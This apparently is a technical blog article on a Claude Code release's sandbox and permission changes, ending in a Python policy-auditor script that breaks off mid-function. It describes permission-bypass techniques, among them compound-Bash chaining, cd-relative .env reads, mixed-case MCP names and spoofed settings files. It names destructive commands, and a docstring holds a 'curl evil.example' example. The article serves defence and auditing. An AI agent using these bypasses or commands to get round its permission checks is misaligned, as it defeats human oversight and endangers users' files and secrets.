AI Safety & Monitoring36 min read

Why Sandbox Isolation ≠ Execution Authorization: Inside Claude Code v2.1.325’s Permission Architecture, Bypass Patches, and Zero-Trust CI/CD Governance

A comprehensive AppSec and platform-engineering deep dive into Anthropic’s Claude Code v2.1.325 release (published November 13, 2026): why flipping sandbox.autoAllowBashIfSandboxed to false decouples OS containment (macOS Seatbelt and Linux bubblewrap) from explicit execution authorization; how v2.1.325 patches zstd decompression, strips OAuth/API keys and mTLS client key passphrases from helper subprocesses, and closes compound-Bash, cd-relative Read(./.env), and MCP case-sensitivity bypasses; and how enterprise teams should harden headless CI/CD pipelines and scheduled /loop skills before the npm stable channel advances from v2.1.311.

Explore the idea in 3D

Loading interactive 3D…

The ideas at a glance

  • Containment Is Not Consent (sandbox.autoAllowBashIfSandboxed = false): Published to npm latest on November 13, 2026 at 20:07 UTC, Claude Code v2.1.325 reverses a foundational agent default. Enabling the OS shell sandbox (@anthropic-ai/sandbox-runtime via macOS Seatbelt or Linux bubblewrap) no longer auto-approves Bash commands. Every sandboxed shell command now traverses the standard permission evaluation chain (deny → ask → allow / interactive prompt) unless an administrator or user explicitly opts back in.
  • Why Pure OS Sandboxing Failed as an Authorization Gate: Claude Code’s shell sandbox restricts writes to the working directory and routes network egress through a domain-allowlist proxy, but it leaves most of the host filesystem readable by default, allows destructive mutations inside the repository (rm -rf src/, git reset --hard), inherits parent shell environment secrets unless scrubbed, and does not wrap built-in tools (Read, Edit, Write, WebFetch), MCP servers, hooks, or experimental Code Mode JavaScript.
  • Managed Settings Precedence Law for Enterprises: Organizations that enable sandboxing via Managed Settings (managed-settings.json, MDM, or server-managed policies) cannot restore silent Bash execution in user or project files (~/.claude/settings.json or .claude/settings.local.json). To re-enable auto-approval, sandbox.autoAllowBashIfSandboxed: true must be declared in the highest-ranking managed settings source.
  • Seven Vulnerability and Permission-Bypass Classes Closed in v2.1.325: Beyond changing the sandbox default, v2.1.325 patches a security flaw in zstd-compressed response decoding; closes compound-Bash subcommand and binary-mismatch allow-rule bypasses; anchors relative deny/ask rules such as Read(./.env) across cd directory changes and added directories; fixes case-sensitivity bypasses in mcp__plugin_*_ rules; re-applies deny rules to post-restart runner approvals; and blocks sandboxed writes to .claude configs, worktree hooks, shared .git folders, and the native updater download directory.
  • Subprocess Credential Scrubbing & Provider Isolation: Sandbox helper processes (including the local network proxy bridge) now spawn without Claude Code’s OAuth sign-in tokens or API keys in their environment; ripgrep (rg), local git, and sandbox runtime helpers spawn without the enterprise mTLS client key passphrase; background sessions started on a claude.ai login stop inheriting and billing shell API keys; and Amazon Bedrock token-counting calls respect managed allowedProviders restrictions.
  • Urgent Pre-Stable Migration Window (npm stable 2.1.311 → latest 2.1.325): Because npm’s stable dist-tag remained on v2.1.311 (October 27, 2026) when v2.1.325 hit latest, unattended CI/CD jobs and scheduled /loop workflows that rely on implicit sandbox approval will hang on stdin—or deterministically reject under permissions.denyInsteadOfPrompting: true—the moment stable advances unless teams declare scoped Bash(...) and Skill(name) allow rules and pass --add-dir for external read-only git repositories.

1. Why Does Sandbox Isolation Not Equal Execution Authorization in AI Coding Agents?

**Direct Answer:** **Sandbox isolation** is a kernel-enforced containment boundary (such as macOS Seatbelt or Linux `bubblewrap`) that restricts *which host files, sockets, and syscalls a spawned process can reach*, whereas **execution authorization** is a policy-and-identity gate that decides *whether a specific command, tool call, or scheduled skill is permitted to run at all*. In **Claude Code v2.1.325** (published to npm `latest` on **November 13, 2026 at 20:07 UTC**), Anthropic formally separated these two security planes by flipping **`sandbox.autoAllowBashIfSandboxed` to `false` by default**.

For the past year of autonomous agent engineering, one dangerous architectural shortcut dominated developer workstations and CI/CD pipelines alike: **conflating process containment with execution consent**. Prior to Claude Code `v2.1.325`, turning on Claude Code’s built-in Bash sandbox (`sandbox.enabled: true`, powered by Anthropic’s open-source `@anthropic-ai/sandbox-runtime`) implicitly activated **"auto-allow" mode (`sandbox.autoAllowBashIfSandboxed: true`)**. As long as a generated Bash command executed inside Seatbelt (`sandbox-exec` on macOS) or `bubblewrap` (`bwrap` + `seccomp` on Linux and WSL2), the agent skipped interactive permission prompts and executed the command immediately.

On the surface, implicit sandbox auto-approval felt ergonomic: fewer terminal interruptions during `pytest`, `cargo check`, or `pnpm build` loops. Underneath, however, treating an OS sandbox as a substitute for command-level authorization created **five severe AppSec blind spots** documented across Anthropic’s own sandboxing specification and the `v2.1.325` security hardening wave:

• **Blind Spot 1 — Default Host Read Access Inside the Shell Sandbox**: Many engineers assume enabling a sandbox creates an empty container filesystem. In reality, Claude Code’s native OS sandbox restricts *writes* to the current working directory (`CWD`), a per-user temporary directory, and explicitly added folders (`filesystem.allowWrite`), while **leaving most of the host machine readable by default** unless paths are explicitly blocked in `filesystem.denyRead`. Under `autoAllowBashIfSandboxed: true`, a prompt-injected shell command could silently read readable host configuration files, inspect local source trees outside the repo, or harvest un-scrubbed environment variables inherited from the parent shell without ever triggering a prompt.

• **Blind Spot 2 — Destructive Blast Radius Inside Authorized Write Paths**: Even when write confinement works perfectly, the repository itself is inside the allowed write boundary! A sandboxed command does not need root privileges or external network access to run `rm -rf src/`, `git reset --hard HEAD~5`, truncate a local SQLite benchmark database, corrupt uncommitted migrations, or overwrite build artifacts. Containment guarantees the damage stays inside the workspace; **only execution authorization asks whether destructive commands belong in the current task**.

• **Blind Spot 3 — High-Privilege Surfaces Running *Outside* `@anthropic-ai/sandbox-runtime`**: As Anthropic’s sandboxing documentation explicitly states, **the sandbox wraps shell commands only**. Built-in agent tools (`Read`, `Edit`, `Write`, `WebFetch`, `WebSearch`), **Model Context Protocol (MCP) servers**, lifecycle **hooks**, and `v2.1.323`’s experimental **Code Mode** JavaScript runtime all execute **outside** the Bash sandbox (`filesystem.denyRead` does not block the `Read` tool, and `network.allowedDomains` does not restrict `WebFetch` or MCP transports!).

• **Blind Spot 4 — Unsandboxed Retry & Exclusion Escape Hatches**: Unless a team explicitly locks `sandbox.allowUnsandboxedCommands: false`, a command that fails inside Seatbelt or `bwrap` (for example, Docker socket calls or nested namespace tools) can request an unsandboxed retry (`dangerouslyDisableSandbox`), while `sandbox.excludedCommands` routes named binaries directly around the sandbox.

• **Blind Spot 5 — Unattended `/loop` & Multi-Repo Privilege Drift**: Scheduled tasks, `/loop` daemons, and cross-repository workspace sessions previously compounded implicit shell execution with skill-defined `allowed-tools` grants—allowing background turns to chain shell mutations without explicit per-skill or per-repository consent.

Primary sourcesAnthropic — Official Claude Code Changelog (v2.1.325 & v2.1.323, Nov 2026) ↗Anthropic — Claude Code Sandboxing Architecture (Seatbelt, bubblewrap & autoAllowBashIfSandboxed) ↗DataStudios — Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands (Nov 16, 2026) ↗Claude Hub — Claude Code 2.1.325: Sandboxed Bash Asks for Permission Again by Default (Nov 14, 2026) ↗
Table 1 — Claude Code Sandbox & Permission Defaults Before vs. After v2.1.325 (Sources: Anthropic Official Changelog v2.1.325, Sandboxing Docs, DataStudios)
Execution Surface / Governance ControlLegacy Behavior (v2.1.311 Stable / Pre-2.1.325)Hardened v2.1.325 Behavior (Nov 13, 2026 Latest) & Explicit Opt-In
Sandboxed Bash Commands (User / Project)Ran automatically without prompting (autoAllowBashIfSandboxed: true)Follows normal permission flow (prompts unless allowed); opt in via sandbox.autoAllowBashIfSandboxed: true
Sandbox Enabled via Enterprise Managed SettingsTurned on silent Bash execution across managed developer machinesPrompts by default unless autoAllowBashIfSandboxed: true is set in the highest-ranking managed source
Scheduled Tasks & /loop Running SkillsSkills declaring allowed-tools or hooks could execute without a separate gateAsks before running any skill with allowed-tools or hooks; add Skill(name) to permissions.allow for unattended runs
Read-Only git Commands in Untrusted ReposPermitted without prompting in external or non-project directoriesAsks first unless the external repository is passed via CLI --add-dir (additionalDirectories does NOT exempt it)
Sandboxed Writes to .claude in Added DirectoriesProtected launch folder .claude, but added directories had write gapsRefuses all sandboxed writes to .claude settings, skills, agents, commands, and hooks in added directories
"Always Allow" Rule Offer (Desktop / IDE / SDK)Could offer to save a rule even when the saved rule wouldn’t match future runsOffered only when saving the rule will genuinely authorize future invocations of that command
\text{Authorized Execution}(c) \iff \underbrace{\neg \text{Deny}(c) \land \big(\text{Allow}(c) \lor \text{ExplicitApproval}(c)\big)}_{\text{Gate 1: Execution Authorization (Intent \& Identity)}} \;\land\; \underbrace{\text{SandboxContain}_{\text{Seatbelt / bwrap}}(c)}_{\text{Gate 2: Blast-Radius Isolation}}

2. Forensic Breakdown: The 7 Security Vulnerabilities and Permission Bypasses Patched in Claude Code v2.1.325

**Direct Answer:** Alongside flipping `sandbox.autoAllowBashIfSandboxed` to `false`, **Claude Code v2.1.325** (building on companion hardening in `v2.1.323` on November 12, 2026) patches **seven distinct classes of security flaws and permission bypasses**: (1) a `zstd` compressed-response decoding vulnerability, (2) compound-Bash and binary-mismatch command bypasses, (3) `cd`-relative `Read(./.env)` path-drift evasion, (4) case-sensitive `mcp__plugin_*_` rule bypasses, (5) post-restart runner approval replay, (6) sandbox filesystem write leaks into `.claude`, git worktrees, and the native updater directory, and (7) repository `.claude/settings.local.json` and symlink spoofing.

When an AppSec team audits an AI agent harness, the most dangerous vulnerabilities rarely require zero-day kernel exploits—they arise from **parser-runtime differentials**, where the policy engine evaluates one string representation of a tool call while the underlying shell, filesystem, or MCP transport executes another. Examining each of the seven `v2.1.325` patch clusters reveals exactly how attackers and prompt-injected repositories weaponize those differentials:

Primary sourcesAnthropic — Official Claude Code Changelog (v2.1.325 & v2.1.323, Nov 2026) ↗DataStudios — Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands (Nov 16, 2026) ↗Claude Hub — Claude Code 2.1.325: Sandboxed Bash Asks for Permission Again by Default (Nov 14, 2026) ↗Releasebot — Anthropic Claude Code Release Track & npm Channel History ↗

1. Transport Decompression Security Fix: zstd-Compressed Response Decoding

The very first line of the official v2.1.325 changelog reads: 'Fixed a security issue in how zstd-compressed responses are decoded.' Enterprise LLM gateways, Envoy/reverse proxies, and remote MCP or cloud session endpoints increasingly negotiate Zstandard (zstd) Content-Encoding for high-throughput streaming payloads. Malformed zstd frame headers, unbounded dictionary/window allocations, or decompression-bomb streams can trigger memory exhaustion or buffer-decoding faults in the client before JSON or SSE framing even runs. Because Anthropic intentionally withheld exploit details and CVE identifiers, upgrading past 2.1.325 is mandatory for any client connecting to third-party gateways or remote MCP servers.

2. Compound-Bash Subcommand & Binary-Mismatch Allow-Rule Bypasses

Version 2.1.325 closes three critical shell-authorization gaps: (a) a parser flaw where certain compound Bash commands (chained with &&, ||, ;, pipelines, or subshells) could execute unapproved sub-commands without asking; (b) a binary-resolution mismatch where a Bash(...) allow rule could end up executing a different program than the binary named in the rule; and (c) a deleted-CWD fallback bug where shell commands silently executed in the parent launch directory after the active working directory was removed. Together with v2.1.323’s patches for sudo/env wrappers, attached variable wildcards like Bash(NODE_ENV*), heredoc writes (cat > file <<EOF mislabeled as 'Read 1 file'), and Windows .cmd/.bat PATH shadowing, Claude Code now enforces full AST-level subcommand equivalence.

3. Closing cd-Relative Read(./.env) Evasion & Added-Directory Drift

Many teams write relative secrets-protection rules in .claude/settings.json such as permissions.deny: ['Read(./.env)'] or permissions.ask: ['Read(./config/secrets.yaml)']. Prior to v2.1.325, changing the shell’s working directory mid-session (e.g., cd packages/api) caused relative deny and ask rules to lose track of the project root—exposing ./.env to unblocked reads—and relative rules failed to apply inside added directories (--add-dir / additionalDirectories). Version 2.1.325 anchors relative deny and ask rules across cd transitions and extends them across all added workspace directories.

4. Case-Insensitive MCP Plugin Rules (mcp__plugin_*_) & Post-Restart Deny Re-Evaluation

In Claude Code, plugin-contributed MCP tools follow the namespace convention mcp__plugin_<server>_<tool>. Prior to v2.1.325, deny and ask rules starting with mcp__plugin_*_ performed case-sensitive string matching—allowing a server or tool registered or invoked with mixed casing (such as mcp__plugin_GitHub_push_files vs. mcp__plugin_github_*) to slip past organizational deny rules! Version 2.1.325 also fixes a state-recovery flaw in self-hosted runners and claude remote-control where permission approvals arriving after a process restart bypassed permissions.deny rules, and stops a slash command’s allowed-tools grants from bleeding into background agents woken during or after its turn.

5. Hardening Sandbox Filesystem Boundaries: .claude, Git Worktrees, Updater & Linux bwrap

If a sandboxed Bash process can modify files that Claude Code itself executes on the next turn, sandbox confinement collapses into persistent host code execution. Version 2.1.325 blocks sandboxed writes to .claude settings, skills, agents, commands, and hooks in added directories; closes two gaps where the Bash sandbox failed to fully protect a git worktree’s settings/hooks and a linked worktree’s shared .git folder; prevents sandboxed commands from writing into Claude Code’s native updater download directory; blocks git bisect run, git maintenance register|start, and scalar setup inside isolated worktrees; and fixes Linux bwrap: Can't create file errors when CWD sits under an allowRead folder nested inside a denyRead symlinked home path.

6. Blocking Committed .claude/settings.local.json Spoofing, Symlink Traps & Artifact Leaks

Normally, .claude/settings.local.json holds untracked personal allow rules. Researchers found that starting Claude Code inside certain subfolders of a cloned repository could trick the loader into trusting a maliciously committed .claude/settings.local.json as the user’s own! Version 2.1.325 closes that subfolder spoofing vector, requires explicit folder trust before applying settings.local.json in container-mounted worktrees/submodules (-p / SDK), refuses symlinked session/repository paths on self-hosted runners and EnterWorktree hooks, and forces per-change approval whenever subagents or auto-mode modify externally visible Artifacts.

3. Subprocess Credential Hygiene: How v2.1.325 Strips API Keys, Sign-In Tokens & Enterprise mTLS Passphrases

**Direct Answer:** In **Claude Code v2.1.325**, Anthropic overhauled environment-variable inheritance across internal helper subprocesses: auxiliary programs launched by the sandbox (such as its **local network proxy bridge**) no longer receive **Claude Code’s OAuth sign-in tokens or `ANTHROPIC_API_KEY`**, while **`ripgrep` (`rg`), local `git` commands, and `@anthropic-ai/sandbox-runtime` helpers** no longer inherit the **mTLS client private key passphrase (`CLAUDE_CODE_CLIENT_KEY_PASSPHRASE`)**. Additionally, background sessions started under a `claude.ai` login stop hijacking and billing shell API keys, and Amazon Bedrock token-counting calls are blocked whenever `allowedProviders` excludes Bedrock.

Why does internal subprocess environment scrubbing matter so much in zero-trust enterprise deployments? Consider how modern regulated engineering organizations connect developer terminals to internal LLM gateways and private MCP servers: they enforce **Mutual TLS (mTLS)** using client certificates paired with encrypted private keys unlocked via `CLAUDE_CODE_CLIENT_KEY_PASSPHRASE`, alongside short-lived OAuth tokens or gateway API keys. Under POSIX process semantics (`fork()` / `execve()`), every child process inherits its parent’s `environ` array by default unless explicitly sanitized.

Prior to `v2.1.325`, even when Claude Code itself wasn’t running user Bash code, it routinely spawned internal helper binaries—`rg` (`ripgrep`) for workspace search, `git` (which can trigger repository-controlled `fsmonitor` or credential helpers in edge cases), and the sandbox’s own local HTTP/SOCKS network-filtering bridge. If those helpers inherited `ANTHROPIC_API_KEY`, OAuth bearer tokens, or `CLAUDE_CODE_CLIENT_KEY_PASSPHRASE`, any same-UID process inspection (`/proc/<pid>/environ` on Linux), core dump, verbose debug log, or compromised helper dependency could harvest the enterprise mTLS passphrase or session token!

Version `2.1.325` closes four distinct credential-and-identity leakage channels simultaneously:

1. **Sandbox Helper Token Stripping**: Internal programs started by Claude Code’s sandbox—most notably its domain-filtering **network proxy bridge**—now spawn with a scrubbed environment stripped of Claude Code’s OAuth sign-in tokens and API keys.

2. **mTLS Passphrase Stripping (`rg`, `git`, and Sandbox Runtime Helpers)**: `ripgrep`, local `git` commands, and `@anthropic-ai/sandbox-runtime` helper binaries now execute without the mTLS client key’s passphrase in their environment. For user-executed Bash subprocesses, enterprises should pair this with **`CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1`** so credentials are scrubbed from agent-spawned shell processes, hooks, and stdio MCP servers as well.

3. **Background Session Identity & Billing Pinning**: Previously, if a developer signed in via `claude.ai` subscription launched a background session from a terminal shell that happened to export `ANTHROPIC_API_KEY`, the background service could silently adopt—and **bill against**—that shell API key! Version `2.1.325` locks background sessions to their originating login, refuses cross-login session moves in the background, and updates error messages so they never advise hardcoding API keys into settings files.

4. **Strict `allowedProviders` Data-Residency Enforcement on Bedrock Token Counting**: Enterprise administrators use Managed Settings’ `allowedProviders` array to guarantee prompts never leave approved cloud boundaries. Prior to `v2.1.325`, a subtle preflight token-counting routine on Amazon Bedrock could still transmit conversation payloads to Bedrock even when `allowedProviders` forbade Bedrock—a compliance leak now completely blocked, alongside `/feedback` and `/bug` restrictions ensuring session uploads only include transcripts recorded by the currently signed-in account or organization.

Primary sourcesAnthropic — Official Claude Code Changelog (v2.1.325 & v2.1.323, Nov 2026) ↗Anthropic — Claude Code Settings Reference & Precedence Hierarchy ↗Anthropic — Claude Code Security & Isolation Model ↗Claude Hub — Claude Code 2.1.325: Sandboxed Bash Asks for Permission Again by Default (Nov 14, 2026) ↗
Table 2 — Credential, Subprocess & Data-Boundary Protections Introduced in Claude Code v2.1.325 (Sources: Anthropic Changelog v2.1.325, Settings & IAM Docs)
Process / Boundary SurfacePre-2.1.325 Exposure Vectorv2.1.325 Hardening + Recommended Enterprise Flag
Sandbox Network Bridge & Internal HelpersInherited Claude Code OAuth sign-in tokens and API keys in child environStripped automatically at spawn; pair with CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1
ripgrep (rg), Local git & Sandbox RuntimeInherited enterprise mTLS client key passphrase in child environmTLS passphrase stripped from rg, git, and sandbox runtime helper processes
Background Sessions on claude.ai LoginCould inherit and bill an ANTHROPIC_API_KEY exported in the launching shellPinned to originating claude.ai identity; cross-sign-in background moves refused
Amazon Bedrock Preflight Token CountingCould send conversation payload to Bedrock despite allowedProviders blockEnforces managed allowedProviders strictly before any token-counting RPC
Account Email Identity Guard & HTML ReportsEmail check missed scripts/MCP; /insights wrote 2 unescaped values into HTMLRefuses user email as client ID across scripts/writes/WebFetch/MCP; escapes /insights HTML

4. Headless CI/CD, Scheduled `/loop` Jobs & The Urgent Pre-Stable (`v2.1.311` → `v2.1.325`) Migration Playbook

**Direct Answer:** When `v2.1.325` shipped to npm’s `latest` tag on November 13, 2026, `@anthropic-ai/claude-code`’s `stable` tag remained on **`v2.1.311`** (October 27, 2026). Before `stable` advances, DevOps and platform teams running headless `claude -p` CI/CD pipelines, self-hosted runners, or scheduled `/loop` tasks must choose between **Pattern A (Recommended Zero-Trust CI)**: keeping `sandbox.autoAllowBashIfSandboxed: false`, enabling `permissions.denyInsteadOfPrompting: true`, declaring explicit `Bash(...)` and `Skill(name)` rules in `permissions.allow`, and passing `--add-dir` for external git repos—or **Pattern B (Disposable Ephemeral VM Only)**: setting `sandbox.autoAllowBashIfSandboxed: true` inside the highest-ranking managed settings source.

Why are unattended pipelines at immediate operational risk during this rollout? Because in an interactive terminal, flipping `sandbox.autoAllowBashIfSandboxed` to `false` merely surfaces an approval dialog; **in a headless CI runner, cron job, or overnight `/loop` session, nobody is at the keyboard to press "Yes"**. Without an explicit allow rule covering each shell command, scheduled skill, and external git repository, unattended jobs on `v2.1.325` hit four distinct breaking gates:

• **Breaking Gate 1 — Unmatched Sandboxed Bash Commands Pause or Fast-Fail**: Any `claude -p` or SDK pipeline that previously relied on `sandbox.enabled: true` alone to run `pytest`, `ruff`, `tsc`, or `gh pr view` without `permissions.allow` entries will now block waiting for approval (timing out the CI job) or immediately return a structured denial if `permissions.denyInsteadOfPrompting: true` (introduced in `v2.1.319`) is active.

• **Breaking Gate 2 — Scheduled Tasks & `/loop` Now Gate Skills With `allowed-tools` or Hooks**: In `v2.1.325`, scheduled tasks and `/loop` prompt before invoking any skill that declares its own `allowed-tools` frontmatter or lifecycle hooks. To run unattended, you **must explicitly add `"Skill(<skill-name>)"` to `permissions.allow`**.

• **Breaking Gate 3 — Read-Only Git Commands in Untrusted Repositories Require `--add-dir`**: If an agent inspects a sibling microservice or shared library repo outside the primary project root, even read-only commands (`git status`, `git log`, `git diff`) now prompt for permission. Crucially, the `v2.1.325` changelog specifies that **listing the path in `permissions.additionalDirectories` in `settings.json` does NOT suppress this prompt**—you must pass **`--add-dir /path/to/repo`** on the CLI invocation (or mark the repository trusted interactively).

• **Breaking Gate 4 — Companion `v2.1.323` Fail-Closed Changes (`--permission-mode auto`, `1M` Context & Invalid Sandbox Settings)**: Teams jumping from `2.1.311` (`stable`) to `2.1.325` (`latest`) also inherit `v2.1.323`’s hardening: (1) if `claude -p` or the Agent SDK enables sandboxing via `--settings` with an invalid sandbox field, **Claude Code now aborts at startup** instead of silently falling back to unsandboxed Bash; (2) if `--permission-mode auto` or `defaultMode: "auto"` is unavailable, sessions now **fail closed into Manual mode** (asking first); and (3) unrecognized model IDs behind third-party gateways now default to a `1M`-token window unless constrained via **`CLAUDE_CODE_DISABLE_1M_CONTEXT=1`** or **`CLAUDE_CODE_MAX_CONTEXT_TOKENS`** (extended in `v2.1.325` to cover custom `claude-*` gateway aliases like `claude-sonnet-latest`).

Note also one subtle cloud exception in `v2.1.325`: **Claude Code on the web, cloud scheduled tasks, and Cowork cloud sessions** now start even when `sandbox.failIfUnavailable: true` is set in organization policy, because Anthropic’s hosted cloud container already isolates the entire session VM and does not nest a local OS command sandbox inside it.

Primary sourcesAnthropic — Official Claude Code Changelog (v2.1.325 & v2.1.323, Nov 2026) ↗Anthropic — Claude Code Identity, Permissions & Managed Policy Governance ↗Anthropic — Claude Code Settings Reference & Precedence Hierarchy ↗DataStudios — Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands (Nov 16, 2026) ↗
Table 3 — Enterprise Deployment Profiles for Claude Code v2.1.325 Across Workstations, Headless CI/CD & Disposable MicroVMs
Deployment EnvironmentRecommended v2.1.325 ConfigurationSecurity Rationale & Operational Outcome
Developer Laptop / IDE Workstationsandbox.enabled: true · autoAllowBashIfSandboxed: false · allowUnsandboxedCommands: falseSeatbelt/bwrap contains writes & domains while Gate 1 blocks destructive CWD & unapproved commands
Headless CI/CD Pipeline & Self-Hosted RunnerautoAllowBashIfSandboxed: false · denyInsteadOfPrompting: true · Scoped Bash(...) + Skill(name) + --add-dirZero stdin hangs (v2.1.319) + strict least-privilege command & skill allowlisting (v2.1.325)
Scheduled /loop & Multi-Repo Triage Agentpermissions.allow: ["Skill(triage)", "Bash(npm test)"] · CLI --add-dir /repo-b · SUBPROCESS_ENV_SCRUB=1Unattended /loop runs cleanly without bleeding slash-command tool grants into background agents
Single-Use Disposable Firecracker MicroVMManaged Settings (highest source): sandbox.enabled: true · autoAllowBashIfSandboxed: true + denyReadAcceptable ONLY inside ephemeral single-job VMs with zero host credentials or shared volumes

5. Production Reference Implementation: Hardened v2.1.325 Managed Settings & Automated Policy/Bypass Auditor (`audit_claude_code_325_policy.py`)

**Direct Answer:** To audit existing `.claude/settings.json`, `.claude/settings.local.json`, and enterprise `managed-settings.json` files for **Claude Code v2.1.325** readiness before `stable` (`v2.1.311`) advances, use the self-contained Python 3.11+ verification tool below (`audit_claude_code_325_policy.py`). It validates managed-settings precedence for `sandbox.autoAllowBashIfSandboxed`, checks headless CI/CD `denyInsteadOfPrompting` and `/loop` `Skill(name)` rules, detects compound-Bash, `cd`-relative `Read(./.env)`, and mixed-case `mcp__plugin_*_` bypass patterns, and outputs a hardened zero-trust `managed-settings.json` baseline.

Every security invariant tested in `audit_claude_code_325_policy.py` maps 1-to-1 to the official `v2.1.325` and `v2.1.323` behavioral rules: it verifies that lower-ranking user/project configs cannot silently override managed sandbox prompts, ensures sensitive credential paths (`~/.ssh`, `~/.aws`, `~/.kube`, `~/.gnupg`, `./.env`) are covered across both **Gate 1 (`permissions.deny`)** and **Gate 2 (`sandbox.filesystem.denyRead`)** (because `filesystem.denyRead` only governs shell commands while `permissions.deny` governs built-in `Read`/`Edit` tools!), and simulates the exact parser normalizations introduced in `v2.1.325`.

Primary sourcesAnthropic — Official Claude Code Changelog (v2.1.325 & v2.1.323, Nov 2026) ↗Anthropic — Claude Code Sandboxing Architecture (Seatbelt, bubblewrap & autoAllowBashIfSandboxed) ↗Anthropic — Claude Code Identity, Permissions & Managed Policy Governance ↗Anthropic — Claude Code Settings Reference & Precedence Hierarchy ↗
audit_claude_code_325_policy.py — Self-contained Claude Code v2.1.325 Policy Precedence, Bypass Normalizer & Headless CI/CD Readiness Auditor (Run with --verify) · python
#!/usr/bin/env python3
"""
audit_claude_code_325_policy.py
Zero-Trust Policy & Permission-Bypass Auditor for Anthropic Claude Code v2.1.325.

Validates:
  1. Managed Settings Precedence Law: when managed settings enable sandbox.enabled,
     sandbox.autoAllowBashIfSandboxed: true in user/local settings is ignored unless
     present in the highest-ranking managed settings source.
  2. Dual-Gate Coverage: ensures sensitive paths (.env, ~/.ssh, ~/.aws, ~/.kube) are
     protected in BOTH Gate 1 (permissions.deny for Read/Edit) and Gate 2
     (sandbox.filesystem.denyRead for Seatbelt/bubblewrap Bash commands).
  3. v2.1.325 Bypass Closures:
     - Compound-Bash AST splitting (&&, ||, ;, |, $(), backticks) so sub-commands
       cannot piggyback on an allowed prefix binary.
     - Project-root & added-directory anchoring for relative Read(./.env) rules
       across shell 'cd' transitions.
     - Case-insensitive matching for mcp__plugin_*_ deny and ask rules.
  4. Headless CI/CD & /loop Readiness: checks permissions.denyInsteadOfPrompting,
     Skill(name) grants for scheduled /loop skills, and CLI --add-dir requirements.
"""

from __future__ import annotations

import dataclasses
import fnmatch
import json
import os
import posixpath
import re
import sys
from typing import Any

COMPOUND_SHELL_SPLIT_RE = re.compile(r"\s*(?:&&|\|\||;|\||\$\(|\x60)\s*")


@dataclasses.dataclass(frozen=True)
class PolicyFinding:
    severity: str  # "CRITICAL" | "HIGH" | "MEDIUM"
    code: str
    message: str
    remediation: str


def resolve_effective_auto_allow_bash(
    *,
    managed_sources_ranked: list[dict[str, Any]],
    cli_settings: dict[str, Any] | None = None,
    local_project_settings: dict[str, Any] | None = None,
    user_settings: dict[str, Any] | None = None,
) -> tuple[bool, str]:
    """
    Implements the v2.1.325 precedence rule for sandbox.autoAllowBashIfSandboxed.
    If ANY managed settings source enables the sandbox, silent auto-allow ONLY
    applies if sandbox.autoAllowBashIfSandboxed is explicitly true in the
    HIGHEST-ranking managed source.
    """
    if managed_sources_ranked:
        highest_managed = managed_sources_ranked[0]
        any_managed_sandbox_on = any(
            bool(src.get("sandbox", {}).get("enabled", False))
            for src in managed_sources_ranked
        )
        if any_managed_sandbox_on:
            flag = bool(
                highest_managed.get("sandbox", {}).get(
                    "autoAllowBashIfSandboxed", False
                )
            )
            return (
                flag,
                "highest_managed_source"
                if flag
                else "v2.1.325_managed_default_prompt",
            )

    # Non-managed fallback hierarchy: CLI -> .claude/settings.local.json -> ~/.claude/settings.json
    for source_name, cfg in (
        ("cli_settings", cli_settings or {}),
        ("local_project_settings", local_project_settings or {}),
        ("user_settings", user_settings or {}),
    ):
        sb = cfg.get("sandbox", {})
        if "autoAllowBashIfSandboxed" in sb:
            return bool(sb["autoAllowBashIfSandboxed"]), source_name

    # v2.1.325 new global default: false (regular permission flow)
    return False, "v2.1.325_default_false"


def evaluate_compound_bash_v325(
    command: str,
    allow_prefixes: list[str],
    deny_prefixes: list[str],
) -> LiteralDecision:
    """
    Models v2.1.325 compound-Bash & binary-matching enforcement:
    Every sub-command in a compound shell expression must independently pass
    deny checks and match an exact program token (preventing binary-prefix aliasing
    such as 'npm-malicious' matching 'npm' or 'pytest && curl evil.example').
    """
    subcommands = [seg.strip() for seg in COMPOUND_SHELL_SPLIT_RE.split(command) if seg.strip()]
    if not subcommands:
        return "ask"

    for sub in subcommands:
        tokens = sub.split()
        # Strip leading VAR=val assignments or sudo/env wrappers (v2.1.323 + v2.1.325)
        idx = 0
        while idx < len(tokens) and (
            "=" in tokens[idx] or tokens[idx] in ("sudo", "env", "command", "nohup")
        ):
            idx += 1
        normalized_sub = " ".join(tokens[idx:])
        if not normalized_sub:
            return "ask"

        for deny in deny_prefixes:
            if _matches_exact_program_prefix(normalized_sub, deny):
                return "deny"

    for sub in subcommands:
        tokens = sub.split()
        idx = 0
        while idx < len(tokens) and "=" in tokens[idx]:
            idx += 1
        # Wrapper binaries like sudo/env never satisfy a plain program allow rule
        if idx < len(tokens) and tokens[idx] in ("sudo", "env"):
            return "ask"
        normalized_sub = " ".join(tokens[idx:])
        if not any(_matches_exact_program_prefix(normalized_sub, allow) for allow in allow_prefixes):
            return "ask"

    return "allow"


LiteralDecision = str  # "allow" | "ask" | "deny"


def _matches_exact_program_prefix(command: str, rule_prefix: str) -> bool:
    """Prevents v2.1.325 binary-mismatch bug where 'git-Hook' matched 'git'."""
    if command == rule_prefix:
        return True
    return command.startswith(rule_prefix + " ")


def matches_relative_file_rule_v325(
    *,
    rule_rel_path: str,
    target_path: str,
    project_root: str,
    added_dirs: list[str],
    current_working_dir: str,
) -> bool:
    """
    Models v2.1.325 fix: relative deny/ask rules such as Read(./.env) remain
    anchored to project_root AND apply across added_dirs even after 'cd subdir'.
    """
    clean_rel = rule_rel_path[2:] if rule_rel_path.startswith("./") else rule_rel_path
    resolved_target = posixpath.normpath(
        target_path
        if posixpath.isabs(target_path)
        else posixpath.join(current_working_dir, target_path)
    )
    roots = [posixpath.normpath(project_root)] + [posixpath.normpath(d) for d in added_dirs]
    for root in roots:
        protected_candidate = posixpath.normpath(posixpath.join(root, clean_rel))
        if resolved_target == protected_candidate:
            return True
    return False


def matches_mcp_plugin_rule_v325(rule_pattern: str, tool_name: str) -> bool:
    """
    Models v2.1.325 fix: deny and ask rules starting with 'mcp__plugin_*_'
    match plugin MCP servers and tools case-insensitively.
    """
    if rule_pattern.lower().startswith("mcp__plugin_"):
        return fnmatch.fnmatchcase(tool_name.lower(), rule_pattern.lower())
    return fnmatch.fnmatchcase(tool_name, rule_pattern)


def audit_enterprise_settings_v325(
    settings: dict[str, Any],
    *,
    is_headless_ci: bool,
    scheduled_skills_with_tools: list[str],
    untrusted_git_In_additional_dirs: bool = False,
) -> list[PolicyFinding]:
